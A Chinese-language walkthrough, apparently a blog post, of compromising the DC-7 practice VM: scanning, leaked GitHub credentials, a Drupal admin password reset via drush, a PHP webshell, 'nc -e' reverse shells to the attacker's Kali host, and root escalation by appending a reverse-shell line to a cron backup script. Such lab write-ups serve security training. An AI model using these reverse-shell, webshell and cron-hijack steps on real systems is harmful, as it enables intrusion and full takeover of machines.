对DC-7靶机进行渗透测试

前言

DC-7是一个中级的靶场,需要具备以下前置知识:

  • 基础的Linux命令及操作

  • 基础的渗透测试工具使用(Kali下的工具)

翻译一下官方给出的一些信息:

这个靶场需要具备中级的渗透测试技巧,这并不是一个很有技术性的挑战,但也不能算容易。渗透测试的和之前的 DC 靶机(哪一台就不知道了)有相似的地方,但会涉及到一些新东西,你的最终目标是放在root目录下的flag。

另外,如果你想通过字典暴力破解,那你可能不会成功。(要跳出常规去思考)

靶机:DC-7,IP地址:192.168.52.140

攻击机:Kali,IP地址:192.168.52.134

一. 信息收集

1、下载安装并启动DC-7

下载完解压后会有一个以.ova为后缀的文件,直接在VM中用”打开虚拟机”,在设置中修改网络适配器为NET模式。

在这里记一下DC-7的MAC地址,等下用的到。

启动DC-7时开机就好,因为不知道用户名和密码,所以登录不了

2、打开kali,查看kali的IP地址和子网掩码

因为DC-7和kali现在属于同一个网段,查看kali的IP和子网掩码是为了获得DC-7的网络号

DC-7的网络号是:192.168.52.0/24

3、使用netdiscover扫描主机

netdiscover -i eth0 -r 192.168.52.0/24

##netdiscover: -i 指定网卡 -r 指定网段

也可以使用nmap进行主机发现,

nmap -sP 192.168.52.0/24

在使用nmap进行主机发现时,会扫描出本机的IP地址,而netdiscover则不会扫描出本机IP地址

或使用arp-scan -l命令拿到DC-7的IP地址

arp-scan -l

根据之前记下的MAC地址确定扫描到的主机哪一个是DC-7,因为MAC地址是主机的唯一标识。

获得DC-7靶机ip:192.168.52.140

4、使用nmap扫描DC-7,看有什么服务是可利用的(端口扫描)

root@kali:~# nmap -sV -A 192.168.52.140

-sV只扫描端口及其版本号

-A扫描端口的详细信息

发现目标机开放了22、80端口,开放ssh和HTTP服务,直接上web页面

使用浏览器可以成功访问

打开首页就直接提醒我们暴力破解是没有用的,跳出框外思考

欢迎来到 DC-7
DC-7 引入了一些“新”概念,但我会让你弄清楚它们是什么。 :-)
虽然这个挑战并不完全是技术性的,但如果您需要诉诸暴力破解或字典攻击,您可能不会成功。
你要做的,就是跳出框框思考。
方式“外”框。 :-)

5、观察研究网站页面,查看相关信息

发现网页右下角有个@DC7USER,是版权所有者

进入GitHub搜索一下,看看有没有可用信息,发现这个进去看看

有个项目的源码,点击进去看看

先看config.php,得到一个帐号和密码:dc7user MdR3xOgB7#dW

直接登录网站后台,提示密码错误

二. 渗透测试

1、进行ssh登录,得到邮件信息

尝试用这个账号连接ssh,成功连接

提醒我们有封邮箱

在/var/mail/下查看,内容很长

backups备份的意思,可能是个备份脚本,去查看一下

这个应该是一个定时备份的脚本,权限属于root\www-data。所以,接下来就是想办法去提升权限了。

经过尝试,dc7user用户可以查看backups.sh内容,但不能修改。

2、使用drush修改用户密码

仔细查看backups.sh的内容,发现这个sh文件里面使用了drush程序。

这是一个专门管理drupal网站的一个程序,也可以通过该程序直接修改用户密码。

如果想用drush管理一个网站,那么就必须先跳转到那个网站的目录下。

cd /var/www/html

drush user-password admin --password="admin"

密码修改成功,接下来就是进入网站后台登陆了,登录成功

3、进入网站后台,添加php模块

进入网站后台后,发现内容可以编辑,在Content—>Add content–>Basic page下,准备添加PHP代码反弹shell,但发现Drupal 8不支持PHP代码,百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入

在Extend菜单下,点击Install new module。进入https://www.drupal.org/project/php/releases/8.x-1.x-dev去下载php插件php 8.x-1.x-dev | Drupal.org

下载好后上传

安装成功

点击Enable newly added modules激活模块

点击前几栏的收回三角标志,找到PHP Filetr勾选,并且点击install

安装成功

4、写入一句换木马,使用蚁剑进行连接,反弹shell

在Content—>Add content–>Basic page下,准备写入一句话木马

添加成功

复制链接尝试用蚁剑连接看看

连接成功

进入终端反弹shell

kali端先监听

nc -lvvp 4444

蚁剑终端

nc -e /bin/sh 192.168.52.134 4444

反弹shell成功

三、提权

1、获得交互式shell

反弹shell成功,转换交互式shellpython -c 'import pty;pty.spawn("/bin/bash")'

2、将反弹shell命令写入backups.sh脚本文件

提权想到之前那个在/opt/scripts目录下的backups.sh脚本文件所属组是root和www-data,而当前用户正是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell

首先,kali再监听一个端口

nc -lvvp 6666

之后将反弹shell写入脚本

echo "nc -e /bin/bash 192.168.52.134 6666" >> /opt/scripts/backups.sh

3、等待backups.sh脚本文件执行,拿到root权限,得到flag

由邮件内容中发送的时间可知这个sh文件每隔15分钟会执行一次,耐心等待一会,获得root权限,进入root目录下得到flag

总结

1、进行nmap扫描,注意站点信息、站外信息收集查询,查到GitHub上的源码,发现数据库账号密码

2、尝试进行ssh远程登录,发现邮箱,发现备份脚本的作用

3、修改web页面admin账号的密码登录到web界面

Drush 是Drupal的命令行shell和Unix脚本接口,用于管理druoal网站。当新网站忘记密码,想重置密码,这时候服务器上刚好装着 Drush ,那么恭喜:drush user-password 用户名 --password="密码"

4、安装PHP插件

5、添加一句话木马php页面,使用蚁剑连接,shell反弹到kali

6、打开交互模式 python -c 'import pty;pty.spawn("/bin/bash")'

7、修改备份脚本,写入反弹shell命令:echo "nc -e /bin/bash 192.168.52.134 6666" >> /opt/scripts/backups.sh

8、等待脚本文件执行,拿到root权限,得到flag

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值